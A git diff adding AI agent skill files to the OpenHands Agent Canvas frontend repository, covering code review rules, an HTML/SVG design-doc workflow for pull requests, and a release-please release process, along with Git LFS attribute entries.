diff --git a/.agents/skills/custom-codereview-guide.md b/.agents/skills/custom-codereview-guide.md
new file mode 100644
index 0000000000000000000000000000000000000000..38697679b2f10abc165cc678e475ff39360c2d7b
--- /dev/null
+++ b/.agents/skills/custom-codereview-guide.md
@@ -0,0 +1,201 @@
+---
+name: custom-codereview-guide
+description: Repository-specific review rules for the OpenHands Agent Canvas frontend.
+triggers:
+ - /codereview
+---
+
+# OpenHands Agent Canvas Code Review Guidelines
+
+This guide supplements the public `code-review` skill with rules specific to
+`OpenHands/OpenHands`, the Agent Canvas frontend. Read `AGENTS.md` first; it is
+the detailed source of truth for current architecture and test conventions.
+
+Be direct and constructive. Review correctness and architecture, not formatting
+that lint or the compiler already checks.
+
+## Review Decision
+
+- Submit exactly one review: **APPROVE** or **COMMENT**. Never use
+ **REQUEST_CHANGES**.
+- Default to **APPROVE** when there are no important findings. Nitpicks and
+ optional cleanup are not reasons to withhold approval.
+- Use **COMMENT** for correctness, security, architecture, missing evidence, or
+ unmet acceptance criteria. Let a human maintainer make the blocking decision.
+- Do not approve changes that can affect agent or benchmark behavior—prompts,
+ tool selection, conversation payloads, terminal behavior, planning, memory,
+ or evaluation paths—without human review and appropriate lightweight evals.
+- Read the linked issue and include a compact checklist covering each acceptance
+ criterion. Meeting the checklist is necessary but does not replace review for
+ regressions, security, or maintainability.
+
+## Repository Ownership
+
+Put behavior in the repository that owns it:
+
+| Repository | Owns |
+| ------------------------------ | --------------------------------------------------------------------------------------------------------------- |
+| `OpenHands/OpenHands` | Agent Canvas UI, frontend state, backend selection, frontend service integration, and local-stack orchestration |
+| `OpenHands/software-agent-sdk` | Agent Server, agents, tools, conversations, events, workspaces, and the canonical server API |
+| `OpenHands/typescript-client` | Browser-compatible typed access to the Agent Server API |
+| `OpenHands/extensions` | Reusable skills, plugins, and integrations |
+| `OpenHands/automation` | Scheduling, webhooks, run history, and automation dispatch |
+
+The normal dependency direction is Agent Server contract → TypeScript client →
+Canvas. Flag raw endpoint reimplementations, Canvas-local copies of server
+contracts, and changes opened in the wrong repository.
+
+## Architecture That Guides Agents
+
+Agents tend to copy the nearest pattern and choose the shortest compiling path.
+Review the codebase as part of the product surface that guides those choices:
+
+1. **Make the conventional path cheapest.** New work should naturally reuse a
+ named hook, service, store, or feature module instead of adding another branch
+ to a shared root.
+2. **Fail forbidden dependencies mechanically.** Repeated review guidance should
+ become a lint rule, compiler boundary, or architecture test. Do not grow this
+ document when a small executable guard would be clearer.
+3. **Give durable state one obvious writer.** A backend setting, consent value,
+ conversation cache entry, or persisted browser value should have one named
+ owner. Flag second writers and component-local mirrors of authoritative state.
+4. **Prefer owned feature files over shared switches.** Product work should
+ usually extend a feature-owned module. Shared registries and root conditionals
+ need a concrete reason.
+5. **Keep exceptions narrow and visible.** Exceptions belong in a small allowlist
+ next to the guard that enforces the rule and should be reviewed as architecture
+ changes.
+
+Treat “deep module” as a design heuristic, not a line-count target. A good module
+has a narrow, stable interface and hides cohesive complexity. Do not split a file
+merely because it is long, and do not create layers that only rename or forward
+arguments. Prefer a small pure seam when it removes duplicated decisions, makes
+ownership explicit, or enables focused tests.
+
+### React effects
+
+`useEffect` is for synchronizing React with an external system. Flag effects used
+to:
+
+- derive render data from props or state;
+- respond to a user action that can run in the event handler;
+- initialize a value that belongs in a lazy state initializer;
+- mirror one store or cache into another component state value; or
+- repair ordering created by competing writers.
+
+An effect is not automatically wrong. Subscription, browser API, timer, and
+network synchronization still belong in effects when cleanup and dependency
+semantics are explicit.
+
+## Blocking Architecture Checkpoints
+
+### Agent Server and Cloud API access
+
+`src/api/no-direct-agent-server-calls.test.ts` is the executable source of truth.
+Do not approve new raw `fetch`, `axios`, shared `openHands`, or low-level HTTP
+client access to Agent Server endpoints. Use `@openhands/typescript-client` with
+the options from `src/api/agent-server-client-options.ts`.
+
+Cloud and runtime-sandbox requests must go through `callCloudProxy`; runtime
+requests must provide the correct `hostOverride` and authentication mode. Review
+changes to the guard's allowlist as architecture changes. Do not copy its current
+entries into this guide—the test should remain the one authoritative list.
+
+### Event wire contracts
+
+The SDK event model is the wire authority, the TypeScript client mirrors it, and
+Canvas consumes the published client type. Do not approve Canvas-local
+redeclarations, partial intersections, module augmentation, or presentation
+fields added to wire-event interfaces.
+
+A contract change should land in this order:
+
+1. SDK model/schema and serialization coverage.
+2. TypeScript-client mirror derived from the SDK payload.
+3. Published client release.
+4. Canvas consumption and rendering/telemetry coverage.
+
+Canvas-only presentation state belongs in a separate view model keyed by event
+identity.
+
+### Telemetry and durable frontend state
+
+- `src/services/telemetry.ts` is the only owner of the Canvas PostHog client.
+- React events go through typed functions in `src/hooks/use-tracking.ts`; components
+ must not call PostHog directly.
+- Consent rendering uses the telemetry consent external store, not mirrored local
+ state. `setTelemetryConsent` remains the single consent controller.
+- A business milestone has one canonical capture. Flag duplicate conditional
+ captures.
+- For other durable values, prefer the existing named service/store/hook and flag
+ new storage writes from arbitrary components.
+
+## Dependencies and Releases
+
+- Direct dependencies are exact-pinned. Keep `package.json` and
+ `package-lock.json` synchronized through npm; do not hand-edit one side only.
+- Treat changes to dependency exemptions, git pins, and security overrides as
+ reviewable policy changes. `__tests__/package-library.test.ts` is the executable
+ source of truth for allowed specs.
+- Scrutinize newly published third-party dependency versions for supply-chain
+ risk. First-party OpenHands packages are exempt from a waiting period but not
+ from contract and release-order review.
+- Package version changes belong in explicit release PRs and must match the
+ release workflow expectations.
+
+## Testing and Evidence
+
+- Require evidence proportional to the behavior changed. For UI behavior, use a
+ screenshot or video from the real app. For CLI, API, or scripts, require the
+ exact runtime command and observed result.
+- Runtime and user-visible bug fixes require before-and-after evidence through
+ the real production-facing path. The before evidence must reproduce the bug on
+ the base branch or released version; the after evidence must repeat the same
+ setup on the PR head and show the corrected behavior. Include exact commands,
+ relevant output, and screenshots or video when the behavior is visual.
+- For lifecycle fixes, evidence must also verify the resulting process or resource
+ state—for example, the parent exit code and whether child services or listening
+ ports remain after shutdown.
+- Unit and integration tests are regression proof, not a substitute for live
+ evidence. If required live evidence is missing, submit **COMMENT**, not
+ **APPROVE**, and identify the exact production-facing verification still needed.
+- Prefer tests that exercise real logic and observable state. Do not reward mocks
+ that only prove another mock was called.
+- Keep tests focused: one meaningful assertion path per behavior, no duplicated
+ coverage of library behavior, and no brittle presentation-only snapshots.
+- Follow the test routing in `AGENTS.md`. The mock-LLM, Docker mock-LLM, and
+ live LLM-backed E2E suites run after changes reach `main`, not from PR labels.
+ If a risky PR needs pre-merge E2E evidence, recommend manually dispatching the
+ relevant workflow against the PR branch.
+- Never broaden live E2E triggers or secret exposure for convenience.
+
+## Review Context Integrity
+
+Before submitting the review, compare its summary and every finding against the
+current PR title, changed-file manifest, linked issues, and acceptance criteria.
+If the review describes files, behavior, issues, or release paths that are not in
+that context, stop and re-read the PR rather than submitting stale or mismatched
+feedback. Do not approve until this final context check passes.
+
+## What Not to Comment On
+
+Do not leave review comments for:
+
+- formatting or minor style that tooling handles;
+- optional “nice to have” refactors unrelated to the change;
+- praise-only observations—approve instead;
+- extra tests for straightforward data/config changes when existing checks cover
+ the risk; or
+- temporary `.pr/` artifacts, which are cleaned up by repository automation.
+
+When raising a finding, trace the relevant call or data flow far enough to show
+the concrete failure mode. Prefer one high-signal comment over several symptoms
+of the same ownership problem.
+
+## Communication Style
+
+- Be concise, specific, and friendly.
+- Explain the user-visible or architectural consequence.
+- Suggest the smallest viable correction.
+- Use GitHub suggestion syntax for local fixes.
+- If the PR is sound, approve it without manufacturing feedback.
diff --git a/.agents/skills/pr-design-doc/SKILL.md b/.agents/skills/pr-design-doc/SKILL.md
new file mode 100644
index 0000000000000000000000000000000000000000..62f02c6a675a1c851f906bf180c177cf0aea5865
--- /dev/null
+++ b/.agents/skills/pr-design-doc/SKILL.md
@@ -0,0 +1,168 @@
+---
+name: pr-design-doc
+description: >
+ For a non-trivial pull request, write a self-contained HTML design doc under the
+ temporary `.pr/` directory and link a visibility-appropriate preview in the PR
+ description, so maintainers grasp the proposal at a glance - code/API design, and the
+ before/after of the change, grounded to real code. Use when opening or updating a
+ non-trivial PR, or when the user says "add a design doc", "document this PR for
+ reviewers", "show the before/after", "make the design reviewable", or "write the .pr/
+ page".
+triggers:
+- /pr-design-doc
+- /design-doc
+license: MIT
+metadata:
+ tags: pull-request, design-doc, html, review, before-after, htmlpreview
+---
+
+# pr-design-doc - a reviewable design doc for a non-trivial PR
+
+A diff shows *what changed line by line*. It does not show *the design*: the shape of the
+change, the API before and after, and why this approach. Reviewers reconstruct that by
+hand, slowly. The scarce resource is the maintainer's attention and trust budget - not the
+agent's effort. Spend extra effort to hand them **one self-contained HTML page** that
+conveys the **big picture** and the **before → after core difference**, with every claim
+**clickable back to the real code**, then link it from the PR description.
+
+This is the same craft as a "show me this change" explainer, aimed at one job: making a
+non-trivial PR easy to review.
+
+## When to use it
+
+- Opening or updating a **non-trivial** PR: new/changed public API, a new module or
+ subsystem, a behavior change in core logic, a migration, or anything a reviewer can't
+ fully judge from the diff in a couple of minutes.
+- **Skip it** for trivial PRs - a typo, a one-line guard, a dependency bump, a docs tweak, a simple bug fix.
+ A design doc adds more to review. Use judgment; if the diff *is* the explanation, don't add a
+ page.
+
+## The `.pr/` workflow
+
+Use the temporary **`.pr/`** directory for PR-only artifacts. Before relying on automatic
+cleanup, verify that the target repository has an enabled
+`.github/workflows/pr-artifacts.yml` workflow that removes `.pr/` after approval.
+
+- Same-repository PR with verified cleanup workflow: the workflow removes `.pr/` after
+ approval.
+- Fork PR, or repository without a verified cleanup workflow: remove `.pr/` manually before
+ merge.
+
+The design doc is a review aid that lives with the branch while the PR is open. It must not
+ship in the merged tree.
+
+## Workflow
+
+1. **Check out and verify the PR head.** Do not write or commit the design doc from the base
+ branch or an unrelated checkout. Start with a clean worktree, then inspect and check out
+ the PR:
+ ```bash
+ gh pr view --json title,body,url,baseRefName,baseRefOid,headRefName,headRefOid,headRepository,headRepositoryOwner,isCrossRepository,files,additions,deletions
+ gh pr checkout
+ git rev-parse HEAD
+ gh pr view --json headRefOid --jq .headRefOid
+ ```
+ The final two SHAs must match before you continue. If they do not, stop and fix the
+ checkout. Compute the merge-base SHA with
+ `git merge-base `. Group changed files by area and keep both the
+ merge-base SHA and head SHA for source links.
+
+2. **Read both sides of each logical file.** Compare
+ `git show :` with the verified head. Capture the
+ **function-level** behavioral difference - what the code *did* vs *does now*.
+ - new file → no "before"; one "after" diagram + a line on the role it adds.
+ - deleted file → "before" diagram + who/what takes over.
+ - edited file → a before/after pair, with the delta highlighted.
+
+3. **Classify each file.** *Logic* change (behavior moved) → draw before/after. *Mechanical*
+ change (rename, constant, config, import move) → a one-line `before → after` row, no
+ diagram. Don't dilute the signal by drawing mechanical edits.
+
+4. **If the change is an API change, lead with the API.** Show the signature/schema/type
+ **before and after** side by side (function signature, endpoint + payload, config field,
+ event shape). Name the compatibility impact plainly: additive, breaking, or behind a flag.
+
+5. **Find the cross-file story.** If one call chain threads several files, draw a single
+ **overview** before/after at the top; per-file cards drill in.
+
+6. **Build the page** per [`references/html-craft.md`](references/html-craft.md) - one
+ self-contained, offline, editorial HTML file with hand-drawn SVG figures. Save it to
+ the repo's `.pr/` directory, e.g. `.pr/design.html` (or `.pr/.html`). Before
+ writing, reject a symlink at `.pr` or at the exact output path; never follow a
+ branch-controlled symlink outside the worktree.
+ ```bash
+ test ! -L .pr && test ! -L .pr/design.html
+ mkdir -p .pr
+ ```
+
+7. **Commit under `.pr/`, push to the verified PR head, and link it.** Confirm that the push
+ remote resolves to `headRepository.nameWithOwner`; never push the artifact to the base
+ repository's default branch.
+ ```bash
+ git add .pr/design.html
+ git commit -m "docs(.pr): design doc for "
+ git push HEAD:
+ ```
+ Query the base repository's visibility before choosing the link:
+ ```bash
+ gh repo view / --json visibility,url
+ ```
+ - **Public repository:** add an htmlpreview link near the top of the PR description,
+ pointing at the **fork and branch the PR is opened from** (it renders before merge):
+ ```
+ 📄 Design doc: https://htmlpreview.github.io/?https://github.com///blob//.pr/design.html
+ ```
+ - **Private or internal repository:** link the access-controlled GitHub blob and include
+ local download/open instructions, or use an existing access-controlled artifact
+ service. Never send the document through htmlpreview or another public host.
+
+## What the page contains
+
+1. **What changed (decision first)** - one paragraph: the intent, net effect, and why the
+ reviewer should care. Put the highest-impact conclusion, risk, or API-compat note in a
+ `★` callout, with the most important changed `path:line` nearby. Stats (`N files ·
+ +A / −D`) are context, not the lead. If there's a cross-file flow, the **overview
+ before/after SVG** goes here.
+2. **API before → after** (when the PR changes an interface) - signatures/schemas/types side
+ by side, with the compatibility verdict stated.
+3. **Left rail / index** - changed files grouped by area, each tagged (🟢 added · 🔴 removed ·
+ ✏️ changed · ⚙️ mechanical) with +/− counts; click to jump.
+4. **Per-file cards** - for each logical file: a claim-carrying title, a one-line summary of
+ how its behavior changed, **before/after** diagrams with real symbol names + `file:line`
+ (changed nodes in orange), and the diff in a collapsed ``. Mechanical files get a
+ small `before → after` table, no diagram.
+5. **(optional) Risk / follow-ups** - only if grounded in what you read.
+
+## Non-negotiable principles
+
+1. **Optimize for scarce reviewer attention.** The first screen answers, in ~15 seconds:
+ what this PR does, whether it's risky, where to look first, and what evidence backs the
+ claim. Lead with the conclusion, not your process.
+2. **Show the difference, not just the after.** For any logic or API change, draw **before**
+ and **after** and make the *delta* visually loud (color + line style). The contrast is
+ the product.
+3. **Ground everything to code, beside the claim.** Every box, node, and sentence names a
+ real symbol + `path:line`, and links to the correct source revision where possible: the
+ merge-base SHA for before-state evidence and the verified head SHA for after-state
+ evidence. One click from "this changed" to the exact code.
+4. **Hand-draw the carrying diagrams.** Prefer bespoke inline SVG for the before/after that
+ makes the argument; Mermaid is fine only for quick auxiliary graphs.
+5. **Self-contained & offline.** One HTML file, inline CSS/SVG, no external scripts or
+ assets, opens by double-click, and survives being copied to another machine.
+6. **`.pr/` only, and temporary.** The doc is a review aid, not project docs. Keep it in
+ `.pr/` and ensure it is removed before merge. Rely on automatic cleanup only when the
+ repository's workflow has been verified; otherwise remove it manually. Do not move design
+ HTML into `docs/` or ship it in the merged tree.
+
+## Anti-patterns
+
+- ❌ Dumping the raw diff / file tree and calling it a "design doc" - adds nothing over the
+ PR page.
+- ❌ Empty nodes ("process data", "handle request") - every node is a real symbol +
+ location.
+- ❌ Only the after-state when something changed - reviewers want the *contrast*.
+- ❌ A design doc on a trivial PR - noise. Skip it.
+- ❌ Committing the HTML outside `.pr/` (e.g. `docs/`), where it would merge into `main`.
+- ❌ Publishing a private-repository design doc through htmlpreview, GitHub Pages, or another
+ public host. Use the private/local preview path in the craft reference. Use GitHub Pages
+ only with explicit user authorization after verifying private Pages access control.
diff --git a/.agents/skills/pr-design-doc/references/html-craft.md b/.agents/skills/pr-design-doc/references/html-craft.md
new file mode 100644
index 0000000000000000000000000000000000000000..974a9c649061d8124df6b2a6ec699c8c23c495e2
--- /dev/null
+++ b/.agents/skills/pr-design-doc/references/html-craft.md
@@ -0,0 +1,322 @@
+# html-craft - how to build the page
+
+Shared craft for every show-me dimension. One self-contained, offline, editorial HTML
+page with hand-drawn SVG figures and code-grounded claims.
+
+## The look (editorial document, light theme)
+
+Calm, readable, document-like - not a dark dashboard. Skeleton:
+
+```html
+
+
+{{Title}}
+
+
+
Contents
+ …
+
+
+
+
+
+
+```
+
+Numbered sticky TOC + one-paragraph mental model up top + sectioned body. No JS needed
+for this shell.
+
+## First screen: 15-second orientation
+
+The reader's attention is the budget. The first viewport should answer four questions
+without requiring a full read:
+
+1. **What is this?** A one-paragraph mental model in the title subtitle.
+2. **Why does it matter?** The highest-impact conclusion, risk, or action in a `★`
+ callout near the top.
+3. **Where should I jump?** A numbered sticky TOC whose labels carry information, not
+ just categories.
+4. **Why should I trust it?** Nearby source links (`path:line`, test, command, commit,
+ or fixture) for the first substantive claim.
+
+Do not open with "I read these files" or a chronological work log. Start with the
+reader's decision: what changed, how the system works, what path matters, or where to
+look next. Put methods, command output, and raw diffs behind `` unless they
+are the point of the report.
+
+## Skimmable structure
+
+Design the page so a busy reader can scan headings, captions, callouts, and tables
+before choosing where to dive:
+
+- **Headings make claims.** Prefer "Writes only cross the queue" over "Architecture",
+ when the section has a specific finding. Generic labels are acceptable only when the
+ title/subtitle already carries the finding.
+- **One paragraph, one judgment.** Keep paragraphs short; split when a sentence starts
+ proving a different point.
+- **Number parallel points.** If you say "three rules" or "two risks", number them so
+ the reader can reconcile the claim with the list.
+- **Use tables only for stable comparison axes.** A table should reduce cognitive
+ work, not force subtle judgments into neat boxes.
+- **Make captions do work.** A caption states the takeaway of the figure, not merely
+ its type.
+
+## Callouts (give them semantic types)
+
+The `.callout` / `.callout.warn` / `.callout.note` styles aren't interchangeable - assign
+each a fixed job and the reader learns to skim by them:
+
+- **`★` key takeaway** (accent) - the one load-bearing sentence of a section. At most one per
+ section; it's what the reader should remember if they read nothing else.
+- **`ⓘ` note** (`.note`, muted) - a reading hint for a figure, an aside, a "why we did it this
+ way" that isn't on the critical path.
+- **`⚠` warning** (`.warn`) - a boundary, a risk, a gotcha, a guardrail: trust boundaries,
+ "this does NOT do X", "never commit the secret". Reserve it for things that bite.
+
+Don't let callouts become wallpaper - if every paragraph is a colored box, none of them carry
+weight. A glyph prefix (`★ ⓘ ⚠`) makes the type legible before the reader parses the text.
+
+## Hand-drawn SVG figures (the diagrams that carry the argument)
+
+Draw bespoke inline `` with a `` for arrow markers and a
+scoped `
+
+
+
+
+ moduleA.fn()
+ old behavior · a.py:42
+
+
+
+
+ moduleA.fn()
+
+
+
+ new path
+
+
+```
+
+**Five craft moves in that skeleton - they're what make a figure read like a designed
+diagram instead of a sketch:**
+- **Drive every fill/stroke from `var(--token)`.** Define the palette once in `:root`; the
+ SVG references it. One source of truth - prose and figures stay in lockstep, and a palette
+ tweak reflows every diagram. Never paste a raw hex into a figure.
+- **Three text weights, always the same three.** `--fg` for the node title (the real symbol),
+ `--muted` for the detail line, `--subtle` for sublabels/`path:line`. The eye sorts the
+ hierarchy without reading. Mixing weights ad-hoc is what makes a diagram look noisy.
+- **`` + `` with `aria-labelledby`.** Not decoration: it's the figure's own
+ caption-of-record (screen readers, and a note-to-self of what the figure claims).
+- **A gradient wash marks the subject.** The one container the figure is *about* gets the
+ `#subj` wash (accent 10%→2%); everything else is flat. The reader's eye lands on the
+ protagonist before reading a word.
+- **`` groups + `` comments + on-edge label pills.** Author the SVG like
+ code: one `` per logical unit, a comment naming it, and a small `rect` pill behind any
+ label that sits on a line (a bare label over an edge turns to mush). It stays editable when
+ you revise the layout three times.
+
+**The before/after encoding (use consistently):**
+- **dashed gray** (`.existing`, `.edge` muted) = what was there before / unchanged context.
+- **solid accent** (`.new`) = what this change adds / the after-state.
+- **orange dashed** (`.edge-chg`, `.gap`) = the *delta* - the new/changed flow, the gap being filled. This is what the eye should land on.
+
+Node boxes carry a **title (real symbol) + a detail line (behavior + `file:line`)**, so the
+diagram is already half-grounded to code.
+
+Two ways to show before/after:
+1. **Side-by-side figures** in a `.ba` grid - `` "Before" | `` "After". Best when layouts differ a lot.
+2. **One overlaid figure** - existing nodes dashed-gray, new nodes/edges solid-accent + orange delta, in the same coordinate space. Best when the change is *additive* to an existing structure (most legible "what's new" read).
+
+## Caption every figure, and hint how to read the hard ones
+
+A figure with no caption makes the reader reverse-engineer your intent. Two cheap habits
+fix it:
+
+- **The `` states the takeaway, not a label.** Not "Architecture diagram" -
+ *"Requests never touch the DB directly; every write goes through the queue."* The caption
+ is the one sentence you'd say pointing at the figure. Number them (`Fig 3 ·`) and
+ **cross-reference between figures** (`state machine in Fig 2`, `evolve timing in Fig 5`) so
+ a multi-figure report reads as one system at different altitudes, not five loose pictures.
+- **For a figure with a non-obvious convention, add a one-line reading hint** in a `.callout.note`
+ right under it, naming the single thing that unlocks it: *"Every arrow enters or leaves the
+ bus - there are no agent-to-agent arrows, because the protocol is 'read/write the bus'."*
+ One sentence that says *how to look* saves the reader a minute of squinting. Put the hint in
+ the figure too when you can - an in-diagram `→ §3.2 / Fig 2` link (accent mono) turns the
+ picture into a table of contents.
+
+## Ground every claim to code (clickable)
+
+A picture the human can't verify is a liability. Make claims droppable to source:
+
+- Resolve both repository web bases explicitly. For a fork PR, before-state evidence belongs
+ to the base repository and merge-base SHA; after-state evidence belongs to the head
+ repository and verified head SHA. Query each with
+ `gh repo view / --json url`, then build links as
+ `https://github.com///blob//#L`. A deleted file must link to the base
+ repository at the merge-base SHA; a newly added file has no before-state link.
+- Render locations as `path:line ` in node detail lines, section text, and a per-component "source" link.
+- Rule: if a box can't be tied to a symbol+location, it's a *concept* box - style it differently and say so; don't fake a link.
+- Put evidence beside the claim it supports. The reader should not have to scroll to a
+ bibliography to verify a behavior statement, edge, risk, metric, or test result.
+- Commands count as evidence when behavior must be observed: show the command and the
+ relevant result near the claim, with full logs collapsed if noisy.
+
+### Grounding discipline (borrowed from DeepWiki)
+
+DeepWiki-style wikis enforce grounding hard - worth copying:
+
+- **Source manifest per section.** Open each major section / component card with a small
+ collapsed list of the exact files it's built from:
+ `Sources path/a.py · path/b.py … `. The reader sees
+ what the claim rests on before trusting it.
+- **Cite after every substantive claim, diagram, table, and snippet.** Inline format:
+ `Sources: [path:start-end]` (range) or `[path:line]` (single), multiple allowed. A
+ section with no citations is a smell - either ground it or cut it.
+- **Solely from the code. Do not invent.** Every statement, box, edge, and number must be
+ derived from files you actually read - not from how "similar systems usually work." If
+ something important isn't in the code, say so explicitly rather than guessing. Mark genuine
+ inferences as inferences.
+- **Breadth check.** Decide if necessary, depending on PR. A "comprehensive" page that cites only 1-2 files is probably shallow -
+ pull in the related files (callers, callees, config, tests) until the picture is real.
+
+## Code excerpts (when shown)
+
+Keep them short and hand-highlight with spans (no JS highlighter): wrap keywords
+``, strings ``, comments ``.
+**Escape for the insertion context before wrapping** - source text is untrusted. In text
+nodes, escape `&`, `<`, and `>`. In quoted HTML or SVG attributes, additionally escape `"`
+as `"` and `'` as `'`; always quote attributes. For source URLs, percent-encode the
+dynamic owner, repository, and ref as URL path segments; encode each source-path segment
+separately and rejoin with `/`. Then attribute-escape the completed URL. Put long diffs/code
+inside `` (collapsed). Escape every source-derived value
+inserted into HTML or SVG, including titles, symbol names, paths, labels, link text, and
+attribute values. Never treat source-derived text as markup.
+
+## Self-contained
+
+- One `.html` file. Inline all CSS and SVG. No build, no framework.
+- No external scripts, styles, fonts, images, or other assets. Besides breaking offline use,
+ third-party active content can read and disclose a private design document opened locally.
+
+## Mermaid (quick / auxiliary only)
+
+For drafting a throwaway or simple auxiliary graph, locally installed Mermaid can be faster
+than hand-SVG. Render it locally to static SVG, inspect and sanitize the output, then inline
+that SVG. Never ship a Mermaid runtime or CDN script in the page. For the **carrying**
+before/after diagram, hand-SVG wins - auto-layout drifts and breaks the side-by-side alignment
+that makes the delta readable.
+
+### Public repositories: commit under `.pr/` and use an htmlpreview link
+
+Because the page is **self-contained**, GitHub can render it through `htmlpreview.github.io`
+(it fetches the raw HTML and serves it with the right content-type - plain `raw.githubusercontent.com`
+won't, it returns `text/plain`). Commit the file to the PR branch under the temporary `.pr/`
+directory, then build the link and paste it in the PR description:
+
+```bash
+# commit the html under .pr/ on your PR branch (this dir is temporary, see the skill)
+git add .pr/design.html && git commit -m "docs(.pr): design doc" && git push
+# link template - use YOUR fork + PR branch, so it renders before the PR is merged:
+# https://htmlpreview.github.io/?https://github.com///blob//.pr/design.html
+```
+
+Example shape:
+`https://htmlpreview.github.io/?https://github.com/FORK_OWNER/REPO/blob/PR_BRANCH/.pr/design.html`
+
+`` can be any branch or commit - `raw.githubusercontent.com` serves it regardless
+of merge state, so the doc renders while the PR is still open. Point the URL at the **fork
+and branch the PR is opened from**, not `main`.
+
+For public repositories, anyone can open the rendered page without a download or local server.
+This works with self-contained pages containing only inline CSS and SVG.
+
+### Private repositories: keep the preview private
+
+`htmlpreview` cannot fetch private repository content. Do not work around that by publishing
+the design doc to GitHub Pages or another public host. Keep the document free of external
+scripts and assets: opening a local file does not make third-party active content private.
+
+- Link authorized reviewers to the committed GitHub blob and ask them to download and open the
+ self-contained HTML file locally; or use an existing access-controlled artifact service.
+- For a local browser preview, open `.pr/design.html` directly. If the browser needs HTTP,
+ serve only on loopback:
+ ```bash
+ python -m http.server 8000 --bind 127.0.0.1 --directory .pr
+ # open http://127.0.0.1:8000/design.html
+ ```
+- Use GitHub Pages only when the user explicitly authorizes publication and an administrator
+ confirms that private Pages access control is enabled for this repository.
diff --git a/.agents/skills/release.md b/.agents/skills/release.md
new file mode 100644
index 0000000000000000000000000000000000000000..a5f000a7273460a62e0e7bd206043c09347000f5
--- /dev/null
+++ b/.agents/skills/release.md
@@ -0,0 +1,110 @@
+---
+name: release
+description: Guide the release process for @openhands/agent-canvas — review the release-please draft PR, mark it ready, merge it; the tag push publishes to npm and Docker.
+triggers:
+- release
+- new release
+- cut a release
+- publish release
+- bump version
+---
+
+# Release Process for @openhands/agent-canvas
+
+## Overview
+
+Releases are **trunk-based and automated by release-please**, via the shared reusable
+workflows in [`OpenHands/release-actions`](https://github.com/OpenHands/release-actions):
+
+1. PRs merge to `main` with **Conventional Commit titles** (`feat`, `fix`, `perf`, `docs`, `chore`, `build`, `ci`, `refactor`, `style`, `test`, `revert`). `.github/workflows/pr.yml` lints the title and applies the matching `type:` label; squash merge uses the PR title as the commit message.
+2. On every push to `main`, `.github/workflows/release.yml` runs release-please, which maintains a **draft release PR** titled `chore(main): release X.Y.Z` accumulating everything merged since the last release.
+3. The release PR pre-stages **every version bump**: `package.json`, `package-lock.json`, `config/defaults.json` (`versions.agentCanvas`), and the Docker image pins in `README.md` / `README.windows.md` (lines annotated with `x-release-please-version`).
+4. Marking the release PR **Ready for review** is the explicit cut-a-release signal: `.github/workflows/release-ready.yml` notifies `#proj-agent-canvas` on Slack and labels the PR `release: ready`.
+5. Merging the release PR makes release-please push the `vX.Y.Z` tag (using the org release App token) and create the GitHub Release. The same tag push triggers `npm-publish.yml` (npm) and `docker.yml` (multi-arch GHCR images).
+
+The next version is derived from the conventional-commit types merged since the last release: `fix` → patch, `feat` → minor, any `!` suffix or `BREAKING CHANGE` footer → major. Other types (`docs`, `chore`, `refactor`, …) appear in the release notes but do not by themselves produce a release PR. Release notes are grouped by the `type:` labels via `.github/release.yml`; there is no `CHANGELOG.md` file — GitHub Releases are the changelog.
+
+Configuration lives in `release-please-config.json` (version surfaces, draft PR) and `.release-please-manifest.json` (current released version). Maintenance releases for an older line use `release/**` branches (`release.yml` triggers there too).
+
+**Never commit to the release PR's branch by hand** — release-please owns it and force-pushes it on every push to `main`.
+
+---
+
+## Step 1: Find the Release PR
+
+```bash
+gh pr list --state open --label "autorelease: pending"
+```
+
+If no release PR is open, nothing releasable (`feat`/`fix`/breaking) has merged since the last release — or `release.yml` is failing on `main`:
+
+```bash
+gh run list --workflow=release.yml --limit=3
+```
+
+---
+
+## Step 2: Review It
+
+Open the release PR and confirm:
+
+- **The version** in the title matches expectations. It is computed from the merged commit types — if it looks wrong, check the conventional types of the PR titles merged since the last release. To force a specific version, merge a commit to `main` whose message contains a `Release-As: X.Y.Z` footer.
+- **The staged bumps** cover all version surfaces (`package.json`, `package-lock.json`, `config/defaults.json`, `README.md`, `README.windows.md`) and the notes list the expected changes.
+
+---
+
+## Step 3: Cut the Release
+
+**STOP HERE and confirm with the user before proceeding.** Marking the PR ready and merging it publishes to npm and GHCR.
+
+```bash
+gh pr ready
+```
+
+This fires the release-ready gate: a Slack notification lands in `#proj-agent-canvas` and the PR is labeled `release: ready`. Then merge the release PR (squash, like any other PR).
+
+---
+
+## Step 4: Watch the Pipeline
+
+Merging the release PR triggers `release.yml` on `main`, which pushes the `vX.Y.Z` tag and creates the GitHub Release; the tag push then fires the publish workflows:
+
+```bash
+gh run list --workflow=release.yml --limit=3
+gh run list --workflow=npm-publish.yml --limit=3
+gh run list --workflow=docker.yml --limit=3
+```
+
+---
+
+## Step 5: Verify the Release
+
+```bash
+# GitHub release
+gh release view v
+
+# npm (allow ~2 min for publish to propagate)
+npm view @openhands/agent-canvas@
+npm view @openhands/agent-canvas dist-tags # stable releases get `latest`
+
+# Docker
+docker pull ghcr.io/openhands/agent-canvas:
+```
+
+External install docs on docs.openhands.dev are maintained separately; update them there when closing #1073.
+
+---
+
+## Troubleshooting
+
+### No release PR appears after merging to main
+Only `feat`, `fix`, and breaking changes produce a release PR. Also check `release.yml` runs on `main` — the workflow fails by design if the org secrets `RELEASE_APP_ID` / `RELEASE_APP_PRIVATE_KEY` are unavailable (a `GITHUB_TOKEN` fallback would create a tag that never triggers the publish workflows).
+
+### The proposed version is wrong
+The version comes from the conventional-commit history since the last release. Fix forward: merge a commit to `main` with a `Release-As: X.Y.Z` footer to pin the next version.
+
+### No Slack message when the PR was marked ready
+`SLACK_BOT_TOKEN` is optional by design — the gate still applies the `release: ready` label and the release proceeds normally.
+
+### package.json version doesn't match the tag
+This cannot happen in the normal flow: release-please bumps `package.json` in the release PR and tags the resulting merge commit, and `npm-publish.yml` validates they match. If it ever fails, someone pushed a tag by hand — delete the tag and let release-please own tagging.
diff --git a/.gitattributes b/.gitattributes
index a5b6975d66345fe623f7533e35f19994a330754c..e8441f663d1ba524966e327a71899ffd25366375 100644
--- a/.gitattributes
+++ b/.gitattributes
@@ -4,3 +4,11 @@
*.png binary
*.ico binary
*.icns binary
+electron/build-resources/icon.icns filter=lfs diff=lfs merge=lfs -text
+.github/pr-assets/pr-16268-02-lightbox-open.png filter=lfs diff=lfs merge=lfs -text
+.github/pr-assets/pr-16860-01-skills-default.png filter=lfs diff=lfs merge=lfs -text
+.github/pr-assets/pr-16676-01-list.png filter=lfs diff=lfs merge=lfs -text
